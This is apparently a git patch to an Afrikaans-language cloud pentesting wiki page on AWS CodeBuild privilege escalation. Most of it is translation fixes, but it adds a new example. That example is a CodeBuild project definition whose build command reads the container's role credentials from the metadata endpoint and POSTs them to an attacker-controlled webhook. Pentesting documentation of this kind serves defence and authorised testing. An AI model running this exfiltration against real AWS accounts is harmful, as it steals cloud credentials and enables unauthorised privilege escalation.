From daf828927adf87d9c345bf3560802ad0ee72b628 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Wed, 8 Jan 2025 20:44:26 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

---
 .../aws-codebuild-privesc.md                  | 42 +++++++++++++++++--
 1 file changed, 38 insertions(+), 4 deletions(-)

diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 7b7d4679a..155799d42 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 - `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`.
 - `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop).
 
-**Potensiële Impak:** Direkte priveskala na aangehegte AWS Codebuild rolle.
+**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
 # Start a build with the new project
 aws codebuild start-build --project-name reverse-shell-project
 
+```
+{{#endtab }}
+
+{{#tab name="Example3" }}
+```bash
+# Generated by ex16x41, tested
+# Create a hook.json file with command to send output from curl credentials URI to your webhook address
+
+{
+"name": "user-project-1",
+"source": {
+"type": "NO_SOURCE",
+"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER",
+"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
+"computeType": "BUILD_GENERAL1_SMALL"
+},
+"serviceRole": "ARN-OF-TARGET-ROLE"
+}
+
+# Create a new CodeBuild project with the hook.json file
+aws codebuild create-project --cli-input-json file:///tmp/hook.json
+
+# Start a build with the new project
+aws codebuild start-build --project-name user-project-1
+
+# Get Credentials output to webhook address
+Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
+
 ```
 {{#endtab }}
 {{#endtabs }}
@@ -289,7 +323,7 @@ Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/cod
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-'n Aanvaller wat in staat is om 'n bou van 'n spesifieke CodeBuild-projek te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdraguitvoering in die CodeBuild-proses verkry.
+'n Aanvaller wat in staat is om 'n spesifieke CodeBuild-projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdragte uitvoer in die CodeBuild-proses.
 
 Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller.
 ```bash
@@ -319,10 +353,10 @@ commands:
 ```
 **Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild werker gebruik word, wat gewoonlik hoë bevoegdhede het.
 
-> [!WAARSKUWING]
+> [!WARNING]
 > Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai.
 
-Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
+Meer besonderhede kan [hier] (https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
 
 **Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.